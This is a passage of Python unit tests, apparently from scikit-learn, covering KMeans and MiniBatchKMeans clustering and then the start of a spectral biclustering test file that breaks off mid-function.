    counts = np.zeros(new_centers.shape[0], dtype=np.int32)
    counts_csr = np.zeros(new_centers.shape[0], dtype=np.int32)

    x_squared_norms = (X ** 2).sum(axis=1)
    x_squared_norms_csr = row_norms(X_csr, squared=True)

    buffer = np.zeros(centers.shape[1], dtype=np.double)
    buffer_csr = np.zeros(centers.shape[1], dtype=np.double)

    # extract a small minibatch
    X_mb = X[:10]
    X_mb_csr = X_csr[:10]
    x_mb_squared_norms = x_squared_norms[:10]
    x_mb_squared_norms_csr = x_squared_norms_csr[:10]

    # step 1: compute the dense minibatch update
    old_inertia, incremental_diff = _mini_batch_step(
        X_mb, x_mb_squared_norms, new_centers, counts,
        buffer, 1, None, random_reassign=False)
    assert_greater(old_inertia, 0.0)

    # compute the new inertia on the same batch to check that it decreased
    labels, new_inertia = _labels_inertia(
        X_mb, x_mb_squared_norms, new_centers)
    assert_greater(new_inertia, 0.0)
    assert_less(new_inertia, old_inertia)

    # check that the incremental difference computation is matching the
    # final observed value
    effective_diff = np.sum((new_centers - old_centers) ** 2)
    assert_almost_equal(incremental_diff, effective_diff)

    # step 2: compute the sparse minibatch update
    old_inertia_csr, incremental_diff_csr = _mini_batch_step(
        X_mb_csr, x_mb_squared_norms_csr, new_centers_csr, counts_csr,
        buffer_csr, 1, None, random_reassign=False)
    assert_greater(old_inertia_csr, 0.0)

    # compute the new inertia on the same batch to check that it decreased
    labels_csr, new_inertia_csr = _labels_inertia(
        X_mb_csr, x_mb_squared_norms_csr, new_centers_csr)
    assert_greater(new_inertia_csr, 0.0)
    assert_less(new_inertia_csr, old_inertia_csr)

    # check that the incremental difference computation is matching the
    # final observed value
    effective_diff = np.sum((new_centers_csr - old_centers) ** 2)
    assert_almost_equal(incremental_diff_csr, effective_diff)

    # step 3: check that sparse and dense updates lead to the same results
    assert_array_equal(labels, labels_csr)
    assert_array_almost_equal(new_centers, new_centers_csr)
    assert_almost_equal(incremental_diff, incremental_diff_csr)
    assert_almost_equal(old_inertia, old_inertia_csr)
    assert_almost_equal(new_inertia, new_inertia_csr)


def _check_fitted_model(km):
    # check that the number of clusters centers and distinct labels match
    # the expectation
    centers = km.cluster_centers_
    assert_equal(centers.shape, (n_clusters, n_features))

    labels = km.labels_
    assert_equal(np.unique(labels).shape[0], n_clusters)

    # check that the labels assignment are perfect (up to a permutation)
    assert_equal(v_measure_score(true_labels, labels), 1.0)
    assert_greater(km.inertia_, 0.0)

    # check error on dataset being too small
    assert_raises(ValueError, km.fit, [[0., 1.]])


def test_k_means_plus_plus_init():
    km = KMeans(init="k-means++", n_clusters=n_clusters,
                random_state=42).fit(X)
    _check_fitted_model(km)


def test_k_means_new_centers():
    # Explore the part of the code where a new center is reassigned
    X = np.array([[0, 0, 1, 1],
                  [0, 0, 0, 0],
                  [0, 1, 0, 0],
                  [0, 0, 0, 0],
                  [0, 0, 0, 0],
                  [0, 1, 0, 0]])
    labels = [0, 1, 2, 1, 1, 2]
    bad_centers = np.array([[+0, 1, 0, 0],
                            [.2, 0, .2, .2],
                            [+0, 0, 0, 0]])

    km = KMeans(n_clusters=3, init=bad_centers, n_init=1, max_iter=10,
                random_state=1)
    for this_X in (X, sp.coo_matrix(X)):
        km.fit(this_X)
        this_labels = km.labels_
        # Reorder the labels so that the first instance is in cluster 0,
        # the second in cluster 1, ...
        this_labels = np.unique(this_labels, return_index=True)[1][this_labels]
        np.testing.assert_array_equal(this_labels, labels)


@if_safe_multiprocessing_with_blas
def test_k_means_plus_plus_init_2_jobs():
    if sys.version_info[:2] < (3, 4):
        raise SkipTest(
            "Possible multi-process bug with some BLAS under Python < 3.4")

    km = KMeans(init="k-means++", n_clusters=n_clusters, n_jobs=2,
                random_state=42).fit(X)
    _check_fitted_model(km)


def test_k_means_precompute_distances_flag():
    # check that a warning is raised if the precompute_distances flag is not
    # supported
    km = KMeans(precompute_distances="wrong")
    assert_raises(ValueError, km.fit, X)


def test_k_means_plus_plus_init_sparse():
    km = KMeans(init="k-means++", n_clusters=n_clusters, random_state=42)
    km.fit(X_csr)
    _check_fitted_model(km)


def test_k_means_random_init():
    km = KMeans(init="random", n_clusters=n_clusters, random_state=42)
    km.fit(X)
    _check_fitted_model(km)


def test_k_means_random_init_sparse():
    km = KMeans(init="random", n_clusters=n_clusters, random_state=42)
    km.fit(X_csr)
    _check_fitted_model(km)


def test_k_means_plus_plus_init_not_precomputed():
    km = KMeans(init="k-means++", n_clusters=n_clusters, random_state=42,
                precompute_distances=False).fit(X)
    _check_fitted_model(km)


def test_k_means_random_init_not_precomputed():
    km = KMeans(init="random", n_clusters=n_clusters, random_state=42,
                precompute_distances=False).fit(X)
    _check_fitted_model(km)


def test_k_means_perfect_init():
    km = KMeans(init=centers.copy(), n_clusters=n_clusters, random_state=42,
                n_init=1)
    km.fit(X)
    _check_fitted_model(km)


def test_k_means_n_init():
    rnd = np.random.RandomState(0)
    X = rnd.normal(size=(40, 2))

    # two regression tests on bad n_init argument
    # previous bug: n_init <= 0 threw non-informative TypeError (#3858)
    assert_raises_regex(ValueError, "n_init", KMeans(n_init=0).fit, X)
    assert_raises_regex(ValueError, "n_init", KMeans(n_init=-1).fit, X)


def test_k_means_explicit_init_shape():
    # test for sensible errors when giving explicit init
    # with wrong number of features or clusters
    rnd = np.random.RandomState(0)
    X = rnd.normal(size=(40, 3))
    for Class in [KMeans, MiniBatchKMeans]:
        # mismatch of number of features
        km = Class(n_init=1, init=X[:, :2], n_clusters=len(X))
        msg = "does not match the number of features of the data"
        assert_raises_regex(ValueError, msg, km.fit, X)
        # for callable init
        km = Class(n_init=1,
                   init=lambda X_, k, random_state: X_[:, :2],
                   n_clusters=len(X))
        assert_raises_regex(ValueError, msg, km.fit, X)
        # mismatch of number of clusters
        msg = "does not match the number of clusters"
        km = Class(n_init=1, init=X[:2, :], n_clusters=3)
        assert_raises_regex(ValueError, msg, km.fit, X)
        # for callable init
        km = Class(n_init=1,
                   init=lambda X_, k, random_state: X_[:2, :],
                   n_clusters=3)
        assert_raises_regex(ValueError, msg, km.fit, X)


def test_k_means_fortran_aligned_data():
    # Check the KMeans will work well, even if X is a fortran-aligned data.
    X = np.asfortranarray([[0, 0], [0, 1], [0, 1]])
    centers = np.array([[0, 0], [0, 1]])
    labels = np.array([0, 1, 1])
    km = KMeans(n_init=1, init=centers, precompute_distances=False,
                random_state=42, n_clusters=2)
    km.fit(X)
    assert_array_equal(km.cluster_centers_, centers)
    assert_array_equal(km.labels_, labels)


def test_mb_k_means_plus_plus_init_dense_array():
    mb_k_means = MiniBatchKMeans(init="k-means++", n_clusters=n_clusters,
                                 random_state=42)
    mb_k_means.fit(X)
    _check_fitted_model(mb_k_means)


def test_mb_kmeans_verbose():
    mb_k_means = MiniBatchKMeans(init="k-means++", n_clusters=n_clusters,
                                 random_state=42, verbose=1)
    old_stdout = sys.stdout
    sys.stdout = StringIO()
    try:
        mb_k_means.fit(X)
    finally:
        sys.stdout = old_stdout


def test_mb_k_means_plus_plus_init_sparse_matrix():
    mb_k_means = MiniBatchKMeans(init="k-means++", n_clusters=n_clusters,
                                 random_state=42)
    mb_k_means.fit(X_csr)
    _check_fitted_model(mb_k_means)


def test_minibatch_init_with_large_k():
    mb_k_means = MiniBatchKMeans(init='k-means++', init_size=10, n_clusters=20)
    # Check that a warning is raised, as the number clusters is larger
    # than the init_size
    assert_warns(RuntimeWarning, mb_k_means.fit, X)


def test_minibatch_k_means_random_init_dense_array():
    # increase n_init to make random init stable enough
    mb_k_means = MiniBatchKMeans(init="random", n_clusters=n_clusters,
                                 random_state=42, n_init=10).fit(X)
    _check_fitted_model(mb_k_means)


def test_minibatch_k_means_random_init_sparse_csr():
    # increase n_init to make random init stable enough
    mb_k_means = MiniBatchKMeans(init="random", n_clusters=n_clusters,
                                 random_state=42, n_init=10).fit(X_csr)
    _check_fitted_model(mb_k_means)


def test_minibatch_k_means_perfect_init_dense_array():
    mb_k_means = MiniBatchKMeans(init=centers.copy(), n_clusters=n_clusters,
                                 random_state=42, n_init=1).fit(X)
    _check_fitted_model(mb_k_means)


def test_minibatch_k_means_init_multiple_runs_with_explicit_centers():
    mb_k_means = MiniBatchKMeans(init=centers.copy(), n_clusters=n_clusters,
                                 random_state=42, n_init=10)
    assert_warns(RuntimeWarning, mb_k_means.fit, X)


def test_minibatch_k_means_perfect_init_sparse_csr():
    mb_k_means = MiniBatchKMeans(init=centers.copy(), n_clusters=n_clusters,
                                 random_state=42, n_init=1).fit(X_csr)
    _check_fitted_model(mb_k_means)


def test_minibatch_sensible_reassign_fit():
    # check if identical initial clusters are reassigned
    # also a regression test for when there are more desired reassignments than
    # samples.
    zeroed_X, true_labels = make_blobs(n_samples=100, centers=5,
                                       cluster_std=1., random_state=42)
    zeroed_X[::2, :] = 0
    mb_k_means = MiniBatchKMeans(n_clusters=20, batch_size=10, random_state=42,
                                 init="random")
    mb_k_means.fit(zeroed_X)
    # there should not be too many exact zero cluster centers
    assert_greater(mb_k_means.cluster_centers_.any(axis=1).sum(), 10)

    # do the same with batch-size > X.shape[0] (regression test)
    mb_k_means = MiniBatchKMeans(n_clusters=20, batch_size=201,
                                 random_state=42, init="random")
    mb_k_means.fit(zeroed_X)
    # there should not be too many exact zero cluster centers
    assert_greater(mb_k_means.cluster_centers_.any(axis=1).sum(), 10)


def test_minibatch_sensible_reassign_partial_fit():
    zeroed_X, true_labels = make_blobs(n_samples=n_samples, centers=5,
                                       cluster_std=1., random_state=42)
    zeroed_X[::2, :] = 0
    mb_k_means = MiniBatchKMeans(n_clusters=20, random_state=42, init="random")
    for i in range(100):
        mb_k_means.partial_fit(zeroed_X)
    # there should not be too many exact zero cluster centers
    assert_greater(mb_k_means.cluster_centers_.any(axis=1).sum(), 10)


def test_minibatch_reassign():
    # Give a perfect initialization, but a large reassignment_ratio,
    # as a result all the centers should be reassigned and the model
    # should not longer be good
    for this_X in (X, X_csr):
        mb_k_means = MiniBatchKMeans(n_clusters=n_clusters, batch_size=100,
                                     random_state=42)
        mb_k_means.fit(this_X)

        score_before = mb_k_means.score(this_X)
        try:
            old_stdout = sys.stdout
            sys.stdout = StringIO()
            # Turn on verbosity to smoke test the display code
            _mini_batch_step(this_X, (X ** 2).sum(axis=1),
                             mb_k_means.cluster_centers_,
                             mb_k_means.counts_,
                             np.zeros(X.shape[1], np.double),
                             False, distances=np.zeros(X.shape[0]),
                             random_reassign=True, random_state=42,
                             reassignment_ratio=1, verbose=True)
        finally:
            sys.stdout = old_stdout
        assert_greater(score_before, mb_k_means.score(this_X))

    # Give a perfect initialization, with a small reassignment_ratio,
    # no center should be reassigned
    for this_X in (X, X_csr):
        mb_k_means = MiniBatchKMeans(n_clusters=n_clusters, batch_size=100,
                                     init=centers.copy(),
                                     random_state=42, n_init=1)
        mb_k_means.fit(this_X)
        clusters_before = mb_k_means.cluster_centers_
        # Turn on verbosity to smoke test the display code
        _mini_batch_step(this_X, (X ** 2).sum(axis=1),
                         mb_k_means.cluster_centers_,
                         mb_k_means.counts_,
                         np.zeros(X.shape[1], np.double),
                         False, distances=np.zeros(X.shape[0]),
                         random_reassign=True, random_state=42,
                         reassignment_ratio=1e-15)
        assert_array_almost_equal(clusters_before, mb_k_means.cluster_centers_)


def test_minibatch_with_many_reassignments():
    # Test for the case that the number of clusters to reassign is bigger
    # than the batch_size
    n_samples = 550
    rnd = np.random.RandomState(42)
    X = rnd.uniform(size=(n_samples, 10))
    # Check that the fit works if n_clusters is bigger than the batch_size.
    # Run the test with 550 clusters and 550 samples, because it turned out
    # that this values ensure that the number of clusters to reassign
    # is always bigger than the batch_size
    n_clusters = 550
    MiniBatchKMeans(n_clusters=n_clusters,
                    batch_size=100,
                    init_size=n_samples,
                    random_state=42).fit(X)


def test_sparse_mb_k_means_callable_init():

    def test_init(X, k, random_state):
        return centers

    # Small test to check that giving the wrong number of centers
    # raises a meaningful error
    msg = "does not match the number of clusters"
    assert_raises_regex(ValueError, msg, MiniBatchKMeans(init=test_init,
                                                         random_state=42).fit,
                        X_csr)

    # Now check that the fit actually works
    mb_k_means = MiniBatchKMeans(n_clusters=3, init=test_init,
                                 random_state=42).fit(X_csr)
    _check_fitted_model(mb_k_means)


def test_mini_batch_k_means_random_init_partial_fit():
    km = MiniBatchKMeans(n_clusters=n_clusters, init="random", random_state=42)

    # use the partial_fit API for online learning
    for X_minibatch in np.array_split(X, 10):
        km.partial_fit(X_minibatch)

    # compute the labeling on the complete dataset
    labels = km.predict(X)
    assert_equal(v_measure_score(true_labels, labels), 1.0)


def test_minibatch_default_init_size():
    mb_k_means = MiniBatchKMeans(init=centers.copy(), n_clusters=n_clusters,
                                 batch_size=10, random_state=42,
                                 n_init=1).fit(X)
    assert_equal(mb_k_means.init_size_, 3 * mb_k_means.batch_size)
    _check_fitted_model(mb_k_means)


def test_minibatch_tol():
    mb_k_means = MiniBatchKMeans(n_clusters=n_clusters, batch_size=10,
                                 random_state=42, tol=.01).fit(X)
    _check_fitted_model(mb_k_means)


def test_minibatch_set_init_size():
    mb_k_means = MiniBatchKMeans(init=centers.copy(), n_clusters=n_clusters,
                                 init_size=666, random_state=42,
                                 n_init=1).fit(X)
    assert_equal(mb_k_means.init_size, 666)
    assert_equal(mb_k_means.init_size_, n_samples)
    _check_fitted_model(mb_k_means)


def test_k_means_invalid_init():
    km = KMeans(init="invalid", n_init=1, n_clusters=n_clusters)
    assert_raises(ValueError, km.fit, X)


def test_mini_match_k_means_invalid_init():
    km = MiniBatchKMeans(init="invalid", n_init=1, n_clusters=n_clusters)
    assert_raises(ValueError, km.fit, X)


def test_k_means_copyx():
    # Check if copy_x=False returns nearly equal X after de-centering.
    my_X = X.copy()
    km = KMeans(copy_x=False, n_clusters=n_clusters, random_state=42)
    km.fit(my_X)
    _check_fitted_model(km)

    # check if my_X is centered
    assert_array_almost_equal(my_X, X)


def test_k_means_non_collapsed():
    # Check k_means with a bad initialization does not yield a singleton
    # Starting with bad centers that are quickly ignored should not
    # result in a repositioning of the centers to the center of mass that
    # would lead to collapsed centers which in turns make the clustering
    # dependent of the numerical unstabilities.
    my_X = np.array([[1.1, 1.1], [0.9, 1.1], [1.1, 0.9], [0.9, 1.1]])
    array_init = np.array([[1.0, 1.0], [5.0, 5.0], [-5.0, -5.0]])
    km = KMeans(init=array_init, n_clusters=3, random_state=42, n_init=1)
    km.fit(my_X)

    # centers must not been collapsed
    assert_equal(len(np.unique(km.labels_)), 3)

    centers = km.cluster_centers_
    assert_true(np.linalg.norm(centers[0] - centers[1]) >= 0.1)
    assert_true(np.linalg.norm(centers[0] - centers[2]) >= 0.1)
    assert_true(np.linalg.norm(centers[1] - centers[2]) >= 0.1)


def test_predict():
    km = KMeans(n_clusters=n_clusters, random_state=42)

    km.fit(X)

    # sanity check: predict centroid labels
    pred = km.predict(km.cluster_centers_)
    assert_array_equal(pred, np.arange(n_clusters))

    # sanity check: re-predict labeling for training set samples
    pred = km.predict(X)
    assert_array_equal(pred, km.labels_)

    # re-predict labels for training set using fit_predict
    pred = km.fit_predict(X)
    assert_array_equal(pred, km.labels_)


def test_score():

    km1 = KMeans(n_clusters=n_clusters, max_iter=1, random_state=42, n_init=1)
    s1 = km1.fit(X).score(X)
    km2 = KMeans(n_clusters=n_clusters, max_iter=10, random_state=42, n_init=1)
    s2 = km2.fit(X).score(X)
    assert_greater(s2, s1)

    km1 = KMeans(n_clusters=n_clusters, max_iter=1, random_state=42, n_init=1,
                 algorithm='elkan')
    s1 = km1.fit(X).score(X)
    km2 = KMeans(n_clusters=n_clusters, max_iter=10, random_state=42, n_init=1,
                 algorithm='elkan')
    s2 = km2.fit(X).score(X)
    assert_greater(s2, s1)


def test_predict_minibatch_dense_input():
    mb_k_means = MiniBatchKMeans(n_clusters=n_clusters, random_state=40).fit(X)

    # sanity check: predict centroid labels
    pred = mb_k_means.predict(mb_k_means.cluster_centers_)
    assert_array_equal(pred, np.arange(n_clusters))

    # sanity check: re-predict labeling for training set samples
    pred = mb_k_means.predict(X)
    assert_array_equal(mb_k_means.predict(X), mb_k_means.labels_)


def test_predict_minibatch_kmeanspp_init_sparse_input():
    mb_k_means = MiniBatchKMeans(n_clusters=n_clusters, init='k-means++',
                                 n_init=10).fit(X_csr)

    # sanity check: re-predict labeling for training set samples
    assert_array_equal(mb_k_means.predict(X_csr), mb_k_means.labels_)

    # sanity check: predict centroid labels
    pred = mb_k_means.predict(mb_k_means.cluster_centers_)
    assert_array_equal(pred, np.arange(n_clusters))

    # check that models trained on sparse input also works for dense input at
    # predict time
    assert_array_equal(mb_k_means.predict(X), mb_k_means.labels_)


def test_predict_minibatch_random_init_sparse_input():
    mb_k_means = MiniBatchKMeans(n_clusters=n_clusters, init='random',
                                 n_init=10).fit(X_csr)

    # sanity check: re-predict labeling for training set samples
    assert_array_equal(mb_k_means.predict(X_csr), mb_k_means.labels_)

    # sanity check: predict centroid labels
    pred = mb_k_means.predict(mb_k_means.cluster_centers_)
    assert_array_equal(pred, np.arange(n_clusters))

    # check that models trained on sparse input also works for dense input at
    # predict time
    assert_array_equal(mb_k_means.predict(X), mb_k_means.labels_)


def test_int_input():
    X_list = [[0, 0], [10, 10], [12, 9], [-1, 1], [2, 0], [8, 10]]
    for dtype in [np.int32, np.int64]:
        X_int = np.array(X_list, dtype=dtype)
        X_int_csr = sp.csr_matrix(X_int)
        init_int = X_int[:2]

        fitted_models = [
            KMeans(n_clusters=2).fit(X_int),
            KMeans(n_clusters=2, init=init_int, n_init=1).fit(X_int),
            # mini batch kmeans is very unstable on such a small dataset hence
            # we use many inits
            MiniBatchKMeans(n_clusters=2, n_init=10, batch_size=2).fit(X_int),
            MiniBatchKMeans(n_clusters=2, n_init=10, batch_size=2).fit(X_int_csr),
            MiniBatchKMeans(n_clusters=2, batch_size=2,
                            init=init_int, n_init=1).fit(X_int),
            MiniBatchKMeans(n_clusters=2, batch_size=2,
                            init=init_int, n_init=1).fit(X_int_csr),
        ]

        for km in fitted_models:
            assert_equal(km.cluster_centers_.dtype, np.float64)

        expected_labels = [0, 1, 1, 0, 0, 1]
        scores = np.array([v_measure_score(expected_labels, km.labels_)
                        for km in fitted_models])
        assert_array_equal(scores, np.ones(scores.shape[0]))


def test_transform():
    km = KMeans(n_clusters=n_clusters)
    km.fit(X)
    X_new = km.transform(km.cluster_centers_)

    for c in range(n_clusters):
        assert_equal(X_new[c, c], 0)
        for c2 in range(n_clusters):
            if c != c2:
                assert_greater(X_new[c, c2], 0)


def test_fit_transform():
    X1 = KMeans(n_clusters=3, random_state=51).fit(X).transform(X)
    X2 = KMeans(n_clusters=3, random_state=51).fit_transform(X)
    assert_array_equal(X1, X2)


def test_predict_equal_labels():
    km = KMeans(random_state=13, n_jobs=1, n_init=1, max_iter=1,
                algorithm='full')
    km.fit(X)
    assert_array_equal(km.predict(X), km.labels_)

    km = KMeans(random_state=13, n_jobs=1, n_init=1, max_iter=1,
                algorithm='elkan')
    km.fit(X)
    assert_array_equal(km.predict(X), km.labels_)


def test_full_vs_elkan():

    km1 = KMeans(algorithm='full', random_state=13)
    km2 = KMeans(algorithm='elkan', random_state=13)

    km1.fit(X)
    km2.fit(X)

    homogeneity_score(km1.predict(X), km2.predict(X)) == 1.0


def test_n_init():
    # Check that increasing the number of init increases the quality
    n_runs = 5
    n_init_range = [1, 5, 10]
    inertia = np.zeros((len(n_init_range), n_runs))
    for i, n_init in enumerate(n_init_range):
        for j in range(n_runs):
            km = KMeans(n_clusters=n_clusters, init="random", n_init=n_init,
                        random_state=j).fit(X)
            inertia[i, j] = km.inertia_

    inertia = inertia.mean(axis=1)
    failure_msg = ("Inertia %r should be decreasing"
                   " when n_init is increasing.") % list(inertia)
    for i in range(len(n_init_range) - 1):
        assert_true(inertia[i] >= inertia[i + 1], failure_msg)


def test_k_means_function():
    # test calling the k_means function directly
    # catch output
    old_stdout = sys.stdout
    sys.stdout = StringIO()
    try:
        cluster_centers, labels, inertia = k_means(X, n_clusters=n_clusters,
                                                   verbose=True)
    finally:
        sys.stdout = old_stdout
    centers = cluster_centers
    assert_equal(centers.shape, (n_clusters, n_features))

    labels = labels
    assert_equal(np.unique(labels).shape[0], n_clusters)

    # check that the labels assignment are perfect (up to a permutation)
    assert_equal(v_measure_score(true_labels, labels), 1.0)
    assert_greater(inertia, 0.0)

    # check warning when centers are passed
    assert_warns(RuntimeWarning, k_means, X, n_clusters=n_clusters,
                 init=centers)

    # to many clusters desired
    assert_raises(ValueError, k_means, X, n_clusters=X.shape[0] + 1)


def test_x_squared_norms_init_centroids():
    """Test that x_squared_norms can be None in _init_centroids"""
    from sklearn.cluster.k_means_ import _init_centroids

    X_norms = np.sum(X**2, axis=1)
    precompute = _init_centroids(
        X, 3, "k-means++", random_state=0, x_squared_norms=X_norms)
    assert_array_equal(
        precompute,
        _init_centroids(X, 3, "k-means++", random_state=0))


def test_max_iter_error():

    km = KMeans(max_iter=-1)
    assert_raise_message(ValueError, 'Number of iterations should be',
                         km.fit, X)


def test_float_precision():
    km = KMeans(n_init=1, random_state=30)
    mb_km = MiniBatchKMeans(n_init=1, random_state=30)

    inertia = {}
    X_new = {}
    centers = {}

    for estimator in [km, mb_km]:
        for is_sparse in [False, True]:
            for dtype in [np.float64, np.float32]:
                if is_sparse:
                    X_test = sp.csr_matrix(X_csr, dtype=dtype)
                else:
                    X_test = dtype(X)
                estimator.fit(X_test)
                # dtype of cluster centers has to be the dtype of the input data
                assert_equal(estimator.cluster_centers_.dtype, dtype)
                inertia[dtype] = estimator.inertia_
                X_new[dtype] = estimator.transform(X_test)
                centers[dtype] = estimator.cluster_centers_
                # make sure predictions correspond to the correct label
                assert_equal(estimator.predict(X_test[0]), estimator.labels_[0])
                if hasattr(estimator, 'partial_fit'):
                    estimator.partial_fit(X_test[0:3])
                    # dtype of cluster centers has to stay the same after partial_fit
                    assert_equal(estimator.cluster_centers_.dtype, dtype)

            # compare arrays with low precision since the difference between
            # 32 and 64 bit sometimes makes a difference up to the 4th decimal place
            assert_array_almost_equal(inertia[np.float32], inertia[np.float64],
                                    decimal=4)
            assert_array_almost_equal(X_new[np.float32], X_new[np.float64],
                                      decimal=4)
            assert_array_almost_equal(centers[np.float32], centers[np.float64],
                                      decimal=4)


def test_KMeans_init_centers():
    # This test is used to check KMeans won't mutate the user provided input array silently
    # even if input data and init centers have the same type
    X_small = np.array([[1.1, 1.1], [-7.5, -7.5], [-1.1, -1.1], [7.5, 7.5]])
    init_centers = np.array([[0.0, 0.0], [5.0, 5.0], [-5.0, -5.0]])
    for dtype in [np.int32, np.int64, np.float32, np.float64]:
        X_test = dtype(X_small)
        init_centers_test = dtype(init_centers)
        assert_array_equal(init_centers, init_centers_test)
        km = KMeans(init=init_centers_test, n_clusters=3)
        km.fit(X_test)
        assert_equal(False, np.may_share_memory(km.cluster_centers_, init_centers))






"""Testing for Spectral Biclustering methods"""

import numpy as np
from scipy.sparse import csr_matrix, issparse

from sklearn.model_selection import ParameterGrid

from sklearn.utils.testing import assert_equal
from sklearn.utils.testing import assert_almost_equal
from sklearn.utils.testing import assert_array_equal
from sklearn.utils.testing import assert_array_almost_equal
from sklearn.utils.testing import assert_raises
from sklearn.utils.testing import assert_true
from sklearn.utils.testing import SkipTest

from sklearn.base import BaseEstimator, BiclusterMixin

from sklearn.cluster.bicluster import SpectralCoclustering
from sklearn.cluster.bicluster import SpectralBiclustering
from sklearn.cluster.bicluster import _scale_normalize
from sklearn.cluster.bicluster import _bistochastic_normalize
from sklearn.cluster.bicluster import _log_normalize

from sklearn.metrics import consensus_score

from sklearn.datasets import make_biclusters, make_checkerboard


class MockBiclustering(BaseEstimator, BiclusterMixin):
    # Mock object for testing get_submatrix.
    def __init__(self):
        pass

    def get_indices(self, i):
        # Overridden to reproduce old get_submatrix test.
        return (np.where([True, True, False, False, True])[0],
                np.where([False, False, True, True])[0])


def test_get_submatrix():
    data = np.arange(20).reshape(5, 4)
    model = MockBiclustering()

    for X in (data, csr_matrix(data), data.tolist()):
        submatrix = model.get_submatrix(0, X)
        if issparse(submatrix):
            submatrix = submatrix.toarray()
        assert_array_equal(submatrix, [[2, 3],
                                       [6, 7],
                                       [18, 19]])
        submatrix[:] = -1
        if issparse(X):
            X = X.toarray()
        assert_true(np.all(X != -1))


def _test_shape_indices(model):
    # Test get_shape and get_indices on fitted model.
    for i in range(model.n_clusters):
        m, n = model.get_shape(i)
        i_ind, j_ind = model.get_indices(i)
        assert_equal(len(i_ind), m)
        assert_equal(len(j_ind), n)


def test_spectral_coclustering():
    # Test Dhillon's Spectral CoClustering on a simple problem.
    param_grid = {'svd_method': ['randomized', 'arpack'],
                  'n_svd_vecs': [None, 20],
                  'mini_batch': [False, True],
                  'init': ['k-means++'],
                  'n_init': [10],
                  'n_jobs': [1]}
    random_state = 0
    S, rows, cols = make_biclusters((30, 30), 3, noise=0.5,
                                    random_state=random_state)
    S -= S.min()  # needs to be nonnegative before making it sparse
    S = np.where(S < 1, 0, S)  # threshold some values
    for mat in (S, csr_matrix(S)):
        for kwargs in ParameterGrid(param_grid):
            model = SpectralCoclustering(n_clusters=3,
                                         random_state=random_state,
                                         **kwargs)
            model.fit(mat)

            assert_equal(model.rows_.shape, (3, 30))
            assert_array_equal(model.rows_.sum(axis=0), np.ones(30))
            assert_array_equal(model.columns_.sum(axis=0), np.ones(30))
            assert_equal(consensus_score(model.biclusters_,
                                         (rows, cols)), 1)

            _test_shape_indices(model)


def test_spectral_biclustering():
    # Test Kluger methods on a checkerboard dataset.
    S, rows, cols = make_checkerboard((30, 30), 3, noise=0.5,
                                      random_state=0)

    non_default_params = {'method': ['scale', 'log'],
                          'svd_method': ['arpack'],
                          'n_svd_vecs': [20],
                          'mini_batch': [True]}

    for mat in (S, csr_matrix(S)):
        for param_name, param_values in non_default_params.items():
            for param_value in param_values:

                model = SpectralBiclustering(
                    n_clusters=3,
                    n_init=3,
                    init='k-means++',
                    random_state=0,
                )
                model.set_params(**dict([(param_name, param_value)]))

                if issparse(mat) and model.get_params().get('method') == 'log':
                    # cannot take log of sparse matrix
                    assert_raises(ValueError, model.fit, mat)
                    continue
                else:
                    model.fit(mat)

                assert_equal(model.rows_.shape, (9, 30))
                assert_equal(model.columns_.shape, (9, 30))
                assert_array_equal(model.rows_.sum(axis=0),
                                   np.repeat(3, 30))
                assert_array_equal(model.columns_.sum(axis=0),
                                   np.repeat(3, 30))
                assert_equal(consensus_score(model.biclusters_,
                                             (rows, cols)), 1)

                _test_shape_indices(model)


def _do_scale_test(scaled):
    """Check that rows sum to one constant, and columns to another."""
    row_sum = scaled.sum(axis=1)
    col_sum = scaled.sum(axis=0)
    if issparse(scaled):
        row_sum = np.asarray(row_sum).squeeze()
        col_sum = np.asarray(col_sum).squeeze()
    assert_array_almost_equal(row_sum, np.tile(row_sum.mean(), 100),
                              decimal=1)
    assert_array_almost_equal(col_sum, np.tile(col_sum.mean(), 100),
                              decimal=1)


def _do_bistochastic_test(scaled):
    """Check that rows and columns sum to the same constant."""
    _do_scale_test(scaled)
    assert_almost_equal(scaled.sum(axis=0).mean(),
                        scaled.sum(axis=1).mean(),
                        decimal=1)


def test_scale_normalize():
    generator = np.random.RandomState(0)
    X = generator.rand(100, 100)
    for mat in (X, csr_matrix(X)):
        scaled, _, _ = _scale_normalize(mat)
        _do_scale_test(scaled)
        if issparse(mat):
            assert issparse(scaled)


def test_bistochastic_normalize():
    generator = np.random.RandomState(0)
    X = generator.rand(100, 100)
    for mat in (X, csr_matrix(X)):
        scaled = _bistochastic_normalize(mat)
        _do_bistochastic_test(scaled)
        if issparse(mat):
            assert issparse(scaled)


def test_log_normalize():
    # adding any constant to a log-scaled matrix should make it
    # bistochastic
    generator = np.random.RandomState(0)
    mat = generator.rand(100, 100)
    scaled = _log_normalize(mat) + 1
    _do_bistochastic_test(scaled)


def test_fit_best_piecewise():
    model = SpectralBiclustering(random_state=0)
    vectors = np.array([[0, 0, 0, 1, 1, 1],
                        [2, 2, 2, 3, 3, 3],
                        [0, 1, 2, 3, 4, 5]])
    best = model._fit_best_piecewise(vectors, n_best=2, n_clusters=2)
    assert_array_equal(best, vectors[:2])


def test_project_and_cluster():
    model = SpectralBiclustering(random_state=0)
    data = np.array([[1, 1, 1],
                     [1, 1, 1],
                     [3, 6, 3],
                     [3, 6, 3]])
    vectors = np.array([[1, 0],
                        [0, 1],
                        [0, 0]])
    for mat in (data, csr_matrix(data)):
        labels = model._project_and_cluster(data, vectors,
                                            n_clusters=2)
        assert_array_equal(labels, [0, 0, 1, 1])


def test_perfect_checkerboard():
    raise SkipTest("This test is failing on the buildbot, but cannot"
                   " reproduce. Temporarily disabling it until it can be"
                   " reproduced and  fixed.")
    model = SpectralBiclustering(3, svd_method="arpack", random_state=0)

    S, rows, cols = make_checkerboard((30, 30), 3, noise=0,
                                      random_state=0)
    model.fit(S)
    assert_equal(consensus_score(model.biclusters_,
                                 (rows, cols)), 1)

    S, rows, cols = make_checkerboard((40, 30), 3, noise=0,
                                      random_state=0)
    model.fit(S)
    assert_equal(consensus_score(model.biclusters_,
                                 (rows, cols)), 1)

    S, rows, cols = make_checkerboard((30, 40), 3, noise=0,
                                      random_state=0)
    model.fit(S)
    assert_equal(consensus_score(model.biclusters_,
                                 (rows, cols)), 1)


def test_errors():
    data = np.arange(25).reshape((5, 5))

    model = SpectralBiclustering(n_clusters=(3, 3, 3))
    assert_raises(ValueError, model.fit, data)

    model = SpectralBiclustering(n_clusters='abc')
    assert_raises(ValueError, model.fit, data)

    model = SpectralBiclustering(n_clusters=(3, 'abc'))
    assert_raises(ValueError, model.fit, data)

    model = SpectralBiclustering(method='unknown')
    assert_raises(ValueError, model.fit, data)

    model = SpectralBiclustering(svd_method='unknown')
